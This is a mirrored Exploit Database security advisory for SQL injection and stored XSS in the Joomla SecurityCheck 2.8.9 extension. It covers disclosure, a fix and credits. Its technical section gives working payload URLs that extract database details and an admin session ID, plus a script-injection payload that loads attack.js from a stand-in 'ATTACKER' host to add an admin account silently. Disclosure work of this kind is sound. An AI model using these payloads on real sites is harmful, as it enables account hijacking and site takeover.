Joomla! Component SecurityCheck 2.8.9 – Multiple Vulnerabilities

• Exploit Database
• 109 阅读

• 作者： ADEO Security
  日期： 2016-06-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39879/
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  Information ------------------------------ Advisory by ADEO Security Team Name: Stored XSS and SQL Injection in Joomla SecurityCheck extension Affected Software : SecurityCheck and SecurityCheck Pro Vulnerable Versions: 2.8.9 (possibly below) Vendor Homepage : https://securitycheck.protegetuordenador.com Vulnerabilities Type : XSS and SQL Injection Severity : High Status : Fixed   Technical Details ------------------------------ PoC URLs for SQL Injection   For determining database, user and version.   http://website/index.php?option=&apos;or(ExtractValue(1,concat(0x3a,(select(database())))))=&apos;1 http://website/index.php?option=&apos;or(ExtractValue(1,concat(0x3a,(select(user())))))=&apos;1 http://website/index.php?option=&apos;or(ExtractValue(1,concat(0x3a,(select(version())))))=&apos;1   For steal admin&apos;s session ID (If admin is not online, page response with attack detected string. If online, response with admin&apos;s session ID)   http://website/index.php?option=&apos;or(ExtractValue(rand(),concat(0x3a,(SELECT concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON %23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %   23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))=&apos;1   PoC URLs for XSS   Add a new admin to website silently while admin checking SecurityCheck logs   http://website/index.php?option=<script>var script = document.createElement(&apos;script&apos;);script.src = "http://ATTACKER/attack.js ";document.getElementsByTagName(&apos;head&apos;)[0].appendChild(script);</script>   attack.js https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca     Disclosure Timeline ------------------------------ 24/05/2016 SQL injection found 30/05/2016 Worked on one-shot exploit for SQLi 30/05/2016 While we were working on SQLi payload we also found XSS 31/05/2016 XSS payload prepared 31/05/2016 Vulnerability details and PoC sent to Protegetuordenador 31/05/2016 Vulnerabilities fixed in v2.8.10   Solution ------------------------------ Update to the latest version of SecurityCheck (2.8.10)   Credits ------------------------------ These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and Muhammet Dilmac (muhammetdilmac.com.tr).